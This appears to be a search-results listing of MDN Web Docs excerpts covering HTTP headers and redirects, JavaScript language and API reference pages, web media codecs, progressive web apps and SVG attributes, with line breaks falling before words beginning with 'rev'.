the referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching, for example. important: although this header has many innocent uses it can have undesirable consequences for user security and privacy. see referer header: privacy and security concerns for more information and mitigations. note that referer is actually a misspelling of the word "referrer". see http referer on wikipedia for more details. a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri. ...
...ia for more details. a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri. an unsecured http request is used and the referring page was received with a secure protocol (https). header type request header forbidden header name yes syntax referer: <url> directives <url> an absolute or partial address of the p
revious web page from which a link to the currently requested page was followed. url fragments (i.e. "#section") and userinfo (i.e. "username:password" in "https://username:password@example.com/foo/bar/") are not included. examples referer: https://developer.mozilla.org/docs/web/javascript specifications specification title rfc 7231, section 5.5.2: referer hypertext t...
Warning - HTTP
the warning general http header contains information about possible problems with the status of the message. more than one warning header may appear in a response. warning header fields can in general be applied to any message, however some warn-codes are specific to caches and can only be applied to response messages. ...
...ng the error. <warn-date> optional. if more than one warning header is sent, include a date that matches the date header. warning codes the http warn codes registry at iana.org defines the namespace for warn codes. code text description 110 response is stale a response provided by a cache is stale (the expiration time set for it has passed). 111
revalidation failed an attempt to validate the response failed, due to an inability to reach the server. 112 disconnected operation the cache is disconnected from the rest of the network. 113 heuristic expiration sent if a cache heuristically chose a freshness lifetime greater than 24 hours and the response's age is greater than 24 hours. 199 miscellaneous...
Redirections in HTTP - HTTP
sers receive a redirect, they immediately load the new url provided in the location header. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last fo
rever. they imply that the original url should no longer be used, and replaced with the new one.search engine robots, rss readers, and other crawlers will update the original url for the resource. code text method handling typical use case 301 moved permanently get methods unchanged. others may or may not be changed to get.[1] reorganization of a web site.
...ion: the body, presented by the browser as a web page, lists the possible redirections and the user clicks on one to select it. code text typical use case 300 multiple choice not many: the choices are listed in an html page in the body. machine-readable choices are encouraged to be sent as link headers with rel=alternate. 304 not modified sent for
revalidated conditional requests. indicates that the cached response is still fresh and can be used. alternative way of specifying redirections http redirects aren't the only way to define redirections. there are two others: html redirections with the <meta> element javascript redirections via the dom html redirections http redirects are the best way to create redirections, but sometim...
JavaScript data types and data structures - JavaScript
dynamic typing javascript is a loosely typed and dynamic language. ...
...nd ownership of properties. false [[configurable]] boolean if false, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[value]] and [[writable]] cannot be changed. false obsolete attributes (as of ecmascript 3, renamed in ecmascript 5) attribute type description read-only boolean
reversed state of the es5 [[writable]] attribute. dontenum boolean
reversed state of the es5 [[enumerable]] attribute. dontdelete boolean
reversed state of the es5 [[configurable]] attribute. accessor property associates a key with one of two accessor functions (get and set) to retrieve or store a value, and has the following attributes: attributes of an acces...
Expressions and operators - JavaScript
a complete and detailed list of operators and expressions is also available in the reference. operators javascript has the following types of operators. this section describes the operators and contains information about operator precedence. assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator comma operator unary operators relational operators javascript has both binary and unary operators, and one special ternary operator, the conditional operator. ...
... user-defined object type or of one of the built-in object types. use new as follows: var objectname = new objecttype([param1, param2, ..., paramn]); super the super keyword is used to call functions on an object's parent. it is useful with classes to call the parent constructor, for example. super([arguments]); // calls the parent constructor. super.functiononparent([arguments]); « p
reviousnext » ...
Grammar and types - JavaScript
basics javascript borrows most of its syntax from java, c, and c++, but it has also been influenced by awk, perl, and python. javascript is case-sensitive and uses the unicode character set. for example, the word früh (which means "early" in german) could be used as a variable name. let früh = "foobar" but, the variable früh is not the same as früh because javascript is case sensitive. in javascript, instructions are called statements and are separated by semicolons (;). a semicolon is not necessary after a statement if it is written on its own line. ...
...et, and so is foo.` more information this chapter focuses on basic syntax for declarations and types. to learn more about javascript's language constructs, see also the following chapters in this guide: control flow and error handling loops and iteration functions expressions and operators in the next chapter, we will have a look at control flow constructs and error handling. « p
reviousnext » ...
Iterators and generators - JavaScript
javascript provides a number of ways of iterating over a collection, from simple for loops to map() and filter(). iterators and generators bring the concept of iteration directly into the core language and provide a mechanism for customizing the behavior of for...of loops. for details, see also: iteration_protocols for...of function* and generator yield and yield* iterators in javascript an iterator is an object which defines a sequence and potentially a return value upon its termination. ...
...of the generator, as if the yield that is currently suspended were instead a throw value statement. if the exception is not caught from within the generator, it will propagate up through the call to throw(), and subsequent calls to next() will result in the done property being true. generators have a return(value) method that returns the given value and finishes the generator itself. « p
reviousnext » ...
Keyed collections - JavaScript
maps map object ecmascript 2015 introduces a new data structure to map values to values. a map object is a simple key/value map and can iterate its elements in insertion order. the following code shows some basic operations with a map. see also the map reference page for more examples and the complete api. you can use a for...of loop to return an array of [key, value] for each iteration. ...
...to use dom elements as a key and mark them for tracking purposes, for example. key and value equality of map and set both the key equality of map objects and the value equality of set objects, are based on the "same-value-zero algorithm": equality works like the identity comparison operator ===. -0 and +0 are considered equal. nan is considered equal to itself (contrary to ===). « p
reviousnext » ...
JavaScript modules - JavaScript
a background on modules javascript programs started off pretty small — most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed. fast forward a few years and we now have complete applications being run in browsers with a lot of javascript, as well as javascript being used in other contexts (node.js, for example). it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed. ...
...ctionname }; // inside main.js import { newfunctionname, anothernewfunctionname } from './modules/module.js'; // inside module.js export { function1, function2 }; // inside main.js import { function1 as newfunctionname, function2 as anothernewfunctionname } from './modules/module.js'; let's look at a real example. in our renaming directory you'll see the same module system as in the p
revious example, except that we've added circle.js and triangle.js modules to draw and report on circles and triangles. inside each of these modules, we've got features with the same names being exported, and therefore each has the same export statement at the bottom: export { name, draw, reportarea, reportperimeter }; when importing these into main.js, if we tried to use import { name, draw, rep...
Numbers and dates - JavaScript
this includes using numbers written in various bases including decimal, binary, and hexadecimal, as well as the use of the global math object to perform a wide variety of mathematical operations on numbers. numbers in javascript, numbers are implemented in double-precision 64-bit binary format ieee 754 (i.e., a number between ±2−1022 and ±2+1023, or about ±10−308 to ±10+308, with a numeric precision of 53 bits). integer values up to ±253 − 1 can be represented exactly. ...
...xt statement appends a minute value to temp. if the value of minute is less than 10, the conditional expression adds a string with a preceding zero; otherwise it adds a string with a demarcating colon. then a statement appends a seconds value to temp in the same way. finally, a conditional expression appends "p.m." to temp if hour is 12 or greater; otherwise, it appends "a.m." to temp. « p
reviousnext » ...
Regular expressions - JavaScript
in javascript, regular expressions are also objects. these patterns are used with the exec() and test() methods of regexp, and with the match(), matchall(), replace(), replaceall(), search(), and split() methods of string. this chapter describes javascript regular expressions. creating a regular expression you construct a regular expression in one of two ways: using a regular expression literal, which consists of a pattern enclosed between slashes, as follows: let re = /ab+c/; regular expression literals provide compilation of the regular expression when the script is loaded. ...
... throughout the string. var re = /\w+\s/g; var str = 'fee fi fo fum'; var myarray = str.match(re); console.log(myarray); // ["fee ", "fi ", "fo "] you could replace the line: var re = /\w+\s/g; with: var re = new regexp('\\w+\\s', 'g'); and get the same result. the behavior associated with the g flag is different when the .exec() method is used. the roles of "class" and "argument" get
reversed: in the case of .match(), the string class (or data type) owns the method and the regular expression is just an argument, while in the case of .exec(), it is the regular expression that owns the method, with the string being the argument. contrast this str.match(re) versus re.exec(str). the g flag is used with the .exec() method to get iterative progression. var xarray; while(xarray = re.
Text formatting - JavaScript
strings javascript's string type is used to represent textual data. it is a set of "elements" of 16-bit unsigned integer values (utf-16 code units). each element in the string occupies a position in the string. the first element is at index 0, the next at index 1, and so on. the length of a string is the number of elements in it. you can create strings using string literals or string objects. caution: if you edit this page, do not include any characters above u+ffff, until mdn bug 857438 is fixed ( https://bugzilla.mozilla.org/show_bug.cgi?id=857438 ). ...
...ering words differing only by umlauts: schon before schön). const germandictionary = new intl.collator('de-de-u-co-dict'); // as if sorting ["hochberg", "honigswald", "holzman"]: console.log(names.sort(germandictionary.compare).join(', ')); // logs "hochberg, holzman, hönigswald" for more information about the intl api, see also introducing the javascript internationalization api. « p
reviousnext » ...
Arrow function expressions - JavaScript
this.age++; // |this| properly refers to the person object }, 1000); } var p = new person(); relation with strict mode given that this comes from the surrounding lexical context, strict mode rules with regard to this are ignored. var f = () => { 'use strict'; return this; }; f() === window; // or the global object all other strict mode rules apply normally. correction: start note: the p
revious statement seems false. strict mode should p
revent creating global variables when assigning to an undeclared identifier in a function. this code sample using chrome 81 demonstrates that arrow functions allow the creation of global variables in such situations (both for a concise body and for a normal function body): > f1 = x => { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; } x => ...
...arr = () => arguments[0]; arr(); // 1 function foo(n) { var f = () => arguments[0] + n; // foo's implicit arguments binding. arguments[0] is n return f(); } foo(3); // 6 in most cases, using rest parameters is a good alternative to using an arguments object. function foo(n) { var f = (...args) => args[0] + n; return f(10); } foo(1); // 11 arrow functions used as methods as stated p
reviously, arrow function expressions are best suited for non-method functions. let's see what happens when we try to use them as methods: 'use strict'; var obj = { // does not create a new scope i: 10, b: () => console.log(this.i, this), c: function() { console.log(this.i, this); } } obj.b(); // prints undefined, window {...} (or the global object) obj.c(); // prints 10, object {...} ...
Array.prototype.flat() - JavaScript
nction flatdeep(arr, d = 1) { return d > 0 ? arr.reduce((acc, val) => acc.concat(array.isarray(val) ? ...
.../o
reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stack const next = stack.pop(); if(array.isarray(next)) { // push back array items, won't modify the original input stack.push(...next); } else { res.push(next); } } //
reverse to restore input order return res.
reverse(); } const arr = [1, 2, [3, 4, [5, 6]]]; flatten(arr); // [1, 2, 3, 4, 5, 6] use generator function function* flatten(array, depth) { if(depth === undefined) { depth = 1; } for(const item of array) { if(array.isarray(item) && depth > 0) { yield* flatten(item, depth - 1); } else { yield item; ...
Array.prototype.push() - JavaScript
ds two elements to it. the total variable contains the new length of the array. let sports = ['soccer', 'baseball'] let total = sports.push('football', 'swimming') console.log(sports) // ['soccer', 'baseball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array. ...
...eball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array. do not use this method if the second array (mo
revegs in the example) is very large because the maximum number of parameters that one function can take is limited in practice. see apply() for more details. let vegetables = ['parsnip', 'potato'] let mo
revegs = ['celery', 'beetroot'] // merge the second array into the first one // equivalent to vegetables.push('celery', 'beetroot') array.prototype.push.apply(vegetables, mo
revegs) console.log(vegetables) // ['parsnip', 'potato', 'celery', 'beetroot'] using an object in an array-like fashion as mentioned above, push is intentionally generic, and we can use that to our advantage. array.prototype...
Object.fromEntries() - JavaScript
w object whose properties are given by those entries. the iterable argument is expected to be an object that implements an @@iterator method, that returns an iterator object, that produces a two element array-like object, whose first element is a value that will be used as a property key, and whose second element is the value to associate with that property key. object.fromentries() performs the
reverse of object.entries(). examples converting a map to an object with object.fromentries, you can convert from map to object: const map = new map([ ['foo', 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b...
...for more details, refer to: https://discourse.mozilla.
Object.seal() - JavaScript
the object.seal() method seals an object, p
reventing new properties from being added to it and marking all existing properties as non-configurable. values of present properties can still be changed as long as they are writable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.seal(obj) parameters obj the object which should be sealed. return value the object being sealed. description by default, objects are extensible (new properties can be added to them). sealing an object p
revents new properties from being added and marks all existing properties as non-configurable. this has the effect of ...
... which should be sealed. return value the object being sealed. description by default, objects are extensible (new properties can be added to them). sealing an object p
revents new properties from being added and marks all existing properties as non-configurable. this has the effect of making the set of properties on the object fixed and immutable. making all properties non-configurable also p
revents them from being converted from data properties to accessor properties and vice versa, but it does not p
revent the values of data properties from being changed. attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most commonly, although not exclusively, when in strict mode cod...
Object - JavaScript
rties() adds the named properties described by the given descriptors to an object. object.entries() returns an array containing all of the [key, value] pairs of a given object's own enumerable string properties. object.freeze() freezes an object. other code cannot delete or change its properties. object.fromentries() returns a new object from an iterable of [key, value] pairs. (this is the
reverse of object.entries). object.getownpropertydescriptor() returns a property descriptor for a named property on an object. object.getownpropertydescriptors() returns an object containing all own property descriptors for an object. object.getownpropertynames() returns an array containing the names of all of the given object's own enumerable and non-enumerable properties. object.getownproper...
...es (which differs from both abstract equality comparison and strict equality comparison). object.isextensible() determines if extending of an object is allowed. object.isfrozen() determines if an object was frozen. object.issealed() determines if an object is sealed. object.keys() returns an array containing the names of all of the given object's own enumerable string properties. object.p
reventextensions() p
revents any extensions of an object. object.seal() p
revents other code from deleting properties of an object. object.setprototypeof() sets the object's prototype (its internal [[prototype]] property). object.values() returns an array containing the values that correspond to all of a given object's own enumerable string properties. instance properties object.prototype.c...
Promise.prototype.then() - JavaScript
console, but not before returning the unworked on // string to the next then .then(function(string) { settimeout(function() { string += 'baz'; console.log(string); // foobarbaz }, 1) return string; }) // 3. print helpful messages about how the code in this section will be run // before the string is actually processed by the mocked asynchronous code in the // p
revious then block. .then(function(string) { console.log("last then: oops... didn't bother to instantiate and return " + "a promise in the prior then so the sequence may be a bit " + "surprising"); // note that `string` will not have the 'baz' bit of it at this point. this // is because we mocked that to happen asynchronously with a settimeout function ...
...e() .then(() => { // makes .then() return a rejected promise throw new error('oh no!'); }) .then(() => { console.log('not called.'); }, error => { console.error('onrejected function called: ' + error.message); }); in all other cases, a resolving promise is returned. in the following example, the first then() will return 42 wrapped in a resolving promise even though the p
revious promise in the chain was rejected. promise.reject() .then(() => 99, () => 42) // onrejected returns 42 which is wrapped in a resolving promise .then(solution => console.log('resolved with ' + solution)); // resolved with 42 in practice, it is often desirable to catch rejected promises rather than use then's two case syntax, as demonstrated below. promise.resolve() .then(() => { /...
Symbol - JavaScript
as its description: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three new symbols. note that symbol("foo") does not coerce the string "foo" into a symbol. it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this p
revents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number). if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo') typeof sym // "symbol" ...
...symbol('foo') === 'symbol' typeof symbol.iterator === 'symbol' symbol type conversions some things to note when working with type conversion of symbols. when trying to convert a symbol to a number, a typeerror will be thrown (e.g. +sym or sym | 0). when using loose equality, object(sym) == sym returns true. symbol("foo") + "bar" throws a typeerror (can't convert symbol to string). this p
revents you from silently creating a new string property name from a symbol, for example. the "safer" string(sym) conversion works like a call to symbol.prototype.tostring() with symbols, but note that new string(sym) will throw. symbols and for...in iteration symbols are not enumerable in for...in iterations. in addition, object.getownpropertynames() will not return symbol object properties, how...
WeakMap - JavaScript
of values. such an implementation would have two main inconveniences: the first one is an o(n) set and search (n being the number of keys in the map) since both operations must iterate through the list of keys to find a matching value. the second inconvenience is a memory leak because the arrays ensure that references to each key and each value are maintained indefinitely. ...
...n being the number of keys in the map) since both operations must iterate through the list of keys to find a matching value. the second inconvenience is a memory leak because the arrays ensure that references to each key and each value are maintained indefinitely. these references p
revent the keys from being garbage collected, even if there are no other references to the object. this would also p
revent the corresponding values from being garbage collected. by contrast, native weakmaps hold "weak" references to key objects, which means that they do not p
revent garbage collection in case there would be no other reference to the key object. this also avoids p
reventing garbage collection of values in the map. native weakmaps can be particularly useful constructs when mapping keys to informatio...
WebAssembly.Memory.prototype.grow() - JavaScript
the grow() protoype method of the memory object increases the size of the memory instance by a specified number of webassembly pages. syntax memory.grow(number); parameters number the number of webassembly pages you want to grow the memory by (each one is 64kib in size). return value the p
revious size of the memory, in units of webassembly pages. examples using grow the following example creates a new webassembly memory instance with an initial size of 1 page (64kib), and a maximum size of 10 pages (640kib). var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" co...
...10 pages (640kib). var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the p
revious number of webassembly pages. specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Right shift (>>) - JavaScript
hence the name "sign-propagating". the source for this interactive example is stored in a github repository. ...
...e to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax a >> b description this operator shifts the first operand the specified number of bits to the right. excess bits shifted off to the right are discarded. copies of the leftmost bit are shifted in from the left. since the new leftmost bit has the same value as the p
revious leftmost bit, the sign bit (the leftmost bit) does not change. hence the name "sign-propagating". for example, 9 >> 2 yields 2: . 9 (base 10): 00000000000000000000000000001001 (base 2) -------------------------------- 9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) likewise, -9 >> 2 yields -3, because the sign is preserved: . -9 (base 10)...
new operator - JavaScript
415 or other primitive types) returned by the constructor function becomes the result of the whole new expression. if the constructor function doesn't explicitly return an object, the object created in step 1 is used instead. ...
...this defines a property that is shared by all objects created with that function, rather than by just one instance of the object type. ...
this - JavaScript
y set to the this of obj.bar (function a) when called. when the returned function (function b) is called, its this will always be what it was set to initially. in the above code example, function b's this is set to function a's this which is obj, so it remains set to obj even when called in a manner that would normally set its this to undefined or the global object (or any other method as in the p
revious example in the global execution context). as an object method when a function is called as a method of an object, its this is set to the object the method is called on. in the following example, when o.f() is invoked, inside the function this is bound to the o object. var o = { prop: 37, f: function() { return this.prop; } }; console.log(o.f()); // 37 note that this behavior ...
... a function is called as a method of an object, its this is set to the object the method is called on. in the following example, when o.f() is invoked, inside the function this is bound to the o object. var o = { prop: 37, f: function() { return this.prop; } }; console.log(o.f()); // 37 note that this behavior is not at all affected by how or where the function was defined. in the p
revious example, we defined the function inline as the f member during the definition of o. however, we could have just as easily defined the function first and later attached it to o.f. doing so results in the same behavior: var o = {prop: 37}; function independent() { return this.prop; } o.f = independent; console.log(o.f()); // 37 this demonstrates that it matters only that the function wa...
Template literals (Template strings) - JavaScript
however, illegal escape sequences must s...
... escape sequences, but finds malformed syntax: latex`\unicode` // throws in older ecmascript versions (es2016 and earlier) // syntaxerror: malformed unicode character escape sequence es2018
revision of illegal escape sequences tagged templates should allow the embedding of languages (for example dsls, or latex), where other escapes sequences are common. the ecmascript proposal template literal
revision (stage 4, to be integrated in the ecmascript 2018 standard) removes the syntax restriction of ecmascript escape sequences from tagged templates. however, illegal escape sequences must still be represented in the “cooked” representation. they will show up as undefined element in the “cooked” array: function latex(str) { return { "cooked": str[0], "raw": str.raw[0] } } latex`\unic...
JavaScript
ferent syntax, semantic, and use. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started tutorials learn how to program in javascript with guides and tutorials. for complete beginners head over to our learning area javascript topic if you want to learn javascript but have no p
revious experience of javascript or programming. the complete modules available there are as follows: javascript first steps answers some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", along with discussing key javascript features such as variables, strings, numbers, and arrays. javascript building blocks continues our coverage of javascri...
...pt, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. client-side web apis explores what apis are, and how to use some of the most common apis you'll come across often in your development work. javascript guide javascript guide a much more detailed guide to the javascript language, aimed at those with p
revious programming experience either in javascript or another language. intermediate understanding client-side javascript frameworks javascript frameworks are an essential part of modern front-end web development, providing developers with proven tools for building scalable, interactive web applications. this module gives you some fundamental background knowledge about how client-side framewor...
Web audio codec guide - Web media technologies
, which covers most of the frequency range of typical human vocalization. this makes it ill-suited for handling any audio that might range outside the human speech range, such as music. g.722 audio is encoded using adaptive differential pulse code modulation (adpcm), in which each sample is represented not by its absolute value, but as a value indicating how much the new sample differs from the p
revious sample. g.722 is primarily used with webrtc connections, as it's one of the audio codecs mandated by the webrtc specification. supported bit rates g.722: 48 kbps, 56 kbps, and 64 kbps; however, in practice 64 kbps is always used g.722 annex b super wide-band: 64 kbps, 80 kbps, and 96 kbps g.722 annex d stereo wide-band: 64 kbps and 80 kbps g.722 annex d stereo super ...
...t 3 and mpeg-2 part 3, and was introduced in 1991 (and finalized in 1992). when mp3-format audio is stored inside an mpeg container, the resulting file is also referred to as just an "mp3 file" or simply "mp3." files with the ubiquitous .mp3 extension are stored in what is perhaps the most widely distributed audio file format in the world, which is in large part responsible for the digital audio
revolution of the late 1990s and early 2000s. mpeg-1 mp3 audio supports higher bit rates as well as higher sampling rates than mp3 audio in mpeg-2 files. mpeg-1 format mp3 is generally best for music or other complex audio, while mpeg-2 mode mp3 audio is acceptable for speech and other simpler sounds. the patents behind mp3 have expired, removing many or most licensing concerns around using mp3 fil...
Digital audio concepts - Web media technologies
as: any situation in which the listener expects precise audio reproduction and may have an ear for sound that's good enough to make out the intricate details of unaltered audio audio loops and samples used in music and sound effects production work situations in which audio clips or samples may be remixed and then compressed; using lossless audio for the mastering process avoids compressing p
reviously compressed data, resulting in additional quality loss factors that may recommend the use of lossy compression include: very large source audio constrained storage (either because the storage space is small, or because there's a large amount of sound to store into it) a need to constrain the network bandwidth required to broadcast the audio; this is especially important for live strea...
... your needs. note: for a more detailed guide to choosing audio codecs, see choosing a codec in web audio codec guide. lossless encoder parameters lossless encoders have a lot less room to manipulate the audio to improve the compression rate, given the need to be able to reproduce the original audio, which limits the number of options available to configure these encoders. the options tend to
revolve around choosing the method by which the encoder performs the encoding and how much time and processor power it's allowed to consume in order to do so. these parameters vary depending on the codec, but can include: specifying specific algorithms to use during particular phases of the encoding process parameters for those algorithms to use, such as how much predictive depth to use when try...
Media container formats (file types) - Web media technologies
quicktime framework not only supported quicktime format movie files and codecs, but supported a vast array of popular and specialty audio and video codecs, as well as still image formats. through quicktime, mac applications (including web browsers, through the quicktime plugin or direct quicktime integration) were able to read and write audio formats including aac, aiff, mp3, pcm, and qualcomm pu
revoice; and video formats including avi, dv, pixlet, prores, flac, cinepak, 3gp, h.261 through h.265, mjpeg, mpeg-1 and mpeg-4 part 2, sorenson, and many more. in addition, a number of third-party components are available for quicktime, some of which add support for additional codecs. because quicktime support is, for all intents and purposes, primarily available on apple devices, it is no longer ...
... your license requirements, and the compatibility requirements of your target audience. guidelines the best choice also depends on what you'll be doing with the media. playing back media is a different thing than recording and/or editing it. if you're going to be manipulating the media data, using an uncompressed format can improve performance, while using a lossless compressed format at least p
revent the accumulation of noise as compression artifacts are multiplied with each re-compression that occurs. if your target audience is likely to include users on mobile, especially on lower-end devices or on slow networks, consider providing a version of your media in a 3gp container with appropriate compression. if you have any specific encoding requirements, make sure the container you choos...
Performance fundamentals - Web Performance
. memory and power usage improving memory and power usage is a similar problem to speeding up startup: don't do unneeded work or lazily load uncommonly-used ui resources. do use efficient data structures and ensure resources like images are optimized well. modern cpus can enter a lower-power mode when mostly idle. applications that constantly fire timers or keep unnecessary animations running p
revent cpus from entering low-power mode. power-efficient applications shouldn't do that. when applications are sent to the background, a visibilitychange event is fired on their documents. this event is a developer's friend; applications should listen for it. applications that drop as many loaded resources as possible when sent to the background use less memory and are less likely discarded, in the...
....requestanimationframe(). this waits until the browser is actually ready to start building the next frame of your animation, and won't bother if the hardware isn't going to actually draw anything. another benefit to this api is that animations won't run while your app isn't visible on the screen (such as if it's in the background and some other task is operating). this will save battery life and p
revent users from cursing your name into the night sky. make events immediate as old-school, accessibility-aware web developers we love click events since they also support keyboard input. on mobile devices, these are too slow. you should use touchstart and touchend instead. the reason is that these don’t have a delay that makes the interaction with the app appear sluggish. if you test for touch ...
Add to Home screen - Progressive web apps (PWAs)
document.queryselector('.add-button'); addbtn.style.display = 'none'; we hide the button initially because the pwa will not be available for install until it follows the a2hs criteria. when this happens, supporting browsers will fire a beforeinstallprompt event. we can then use a handler like the one below to handle the installation: window.addeventlistener('beforeinstallprompt', (e) => { // p
revent chrome 67 and earlier from automatically showing the prompt e.p
reventdefault(); // stash the event so it can be triggered later. deferredprompt = e; // update ui to notify the user they can add to home screen addbtn.style.display = 'block'; addbtn.addeventlistener('click', (e) => { // hide our user interface that shows our a2hs button addbtn.style.display = 'none'; // ...
... store the event object in the deferredprompt variable so it can be used later on to perform the actual installation. set the button to display: block so it appears in the ui for the user to click. set a click handler for the button. the click handler contains the foll...
Progressive web app structure - Progressive web apps (PWAs)
we will start with analyzing the js13kpwa application, why it is built that way, and what benefits it brings. architecture of an app there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. ...
...shan', twitter: '', website: '', github: 'github.com/coderprateek/emma-3d' } ]; every entry has its own image in the data/img folder. this is our content, loaded into the content section with javascript. next up in the next article we will look in more detail at how the app shell and the content are cached for offline use with the help from the service worker. p
revious overview: progressive web apps next ...
How to make PWAs installable - Progressive web apps (PWAs)
the installed web app can then be launched by users just as if it were any native app. this article explains how to achieve this using the web app's manifest. these technologies allow the app to be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the url. your web app can sit next to native applications as first class citizens. ...
...n on a2hs, be sure to read our add to home screen guide. ...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
allowing the user to install the web app on their home screen is even better. but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available. two apis, one goal the push api and notifications api are two separate apis, but they work well together when you want to provide engaging functionality in your app. push is used to deliver new content from the server to the app without any client-side intervention, and its operation is handled by the app's service worker. ...
...se if data is empty), and then wait until the notification is shown to the user. feel free to explore the rest of the examples in the service worker cookbook if you want to know how they are handled — the full source code is available on github. there's a big collection of working examples showing general use, but also web push, caching strategies, performance, working offline, and more. p
revious overview: progressive next ...
The building blocks of responsive design - Progressive web apps (PWAs)
pixels. this has a lot of advantages in that the layout will adapt to different viewport dimensions. let's look at an example. we've written a simple-but-fun prototype for an application called snapshot, which takes a video stream from your webcam (using getusermedia()) then allows you to capture stills from that video stream (using html5 <canvas>), and save them to a gallery. you can then view p
reviously-captured images and delete them. other articles will discuss the functionality in more detail, but here we're interested in the layout. note: you can find the snapshot app on github; check out the code and help improve it. you can also see snapshot running live. note that getusermedia() is an experimental technology, which currently only works in google chrome and firefox desktop. more fu...
...idth: 100%; clear: left; } x-card:nth-child(3) img { width: 20%; } } so here we're altering the widths of the columns and removing the float of the third column (and adding clearing to guard against any float funny business). we've also altered the width of the images inside the third container (no longer a column — this is the gallery) so that now you get five per line (it was p
reviously three per line). narrow screen/mobile layout we then have a narrow screen layout, designed to fit the bill for a mobile app/open web app experience. this is created in multiple parts. first of all, as expected, there is a media query in our main css, which is quite weighty, so we'll go through it in parts: @media all and (max-width: 480px) { x-card:nth-child(1), x-card:nth-child(2), ...
Progressive web apps (PWAs)
ing what they are and the advantages they offer over regular web apps.making pwas work offline with service workersin this article we took a simple look at how you can make your pwa work offline with service workers. be sure to check out our further documentation if you want to learn more about the concepts behind the service worker api and how to use it in more detail. progressive loadingin p
revious articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push. in this article we will go even further and improve the performance of the app by progressively loading its resources.progressive web app structurenow that we know the theory behind pwas, let's look at the recommended structure of an actual app. we wil...
...ut every aspect of development specific to the greation of progressive web applications (pwas).structural overview of progressive web appsin this structural overview, we'll look at the features that make up a standard web application, as well as some design patterns you can follow when building your pwa. everything below this point is left over from the old version of this page and will be
revamped as other content is overhauled. core pwa guides the following guides show you what need to do to implement a pwa, by examining a simple example and showing you how all the pieces work. introduction to progressive web apps progressive web app structure making pwas work offline with service workers how to make pwas installable how to make pwas re-engageable using notifications and pu...
display - SVG: Scalable Vector Graphics
<tref>, or <altglyph> element, then the text string is ignored for the purposes of text layout. regarding events, if display is set to none, the element receives no events. the geometry of a graphics element with display set to none is not included in bounding box and clipping paths calculations. the display attribute only affects the direct rendering of a given element, whereas it does not p
revent elements from being referenced by other elements. for example, setting it to none on a <path> element will p
revent that element from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none. this attribute also affects dir...
...etting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none. this attribute also affects direct rendering into offscreen canvases, such as occurs with masks or clip paths. thus, setting display="none" on a child of a <mask> will p
revent the given child element from being rendered as part of the mask. similarly, setting display="none" on a child of a <clippath> element will p
revent the given child element from contributing to the clipping path. note: as a presentation attribute, display can be used as a css property. see css display for further information. as a presentation attribute, it can be applied to any element. ht...
in - SVG: Scalable Vector Graphics
the in attribute identifies input for the given filter primitive. the value can be either one of the six keywords defined below, or a string which matches a p
revious result attribute value within the same <filter> element. if no value is provided and this is the first filter primitive, then this filter primitive will use sourcegraphic as its input. if no value is provided and this is a subsequent filter primitive, then this filter primitive will use the result from the p
revious filter primitive as its input. if the value for result appears multiple times within a given <filter> element, then a reference to that result will use the closest preceding filter primitive with the given value for attribute result. fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecompone...
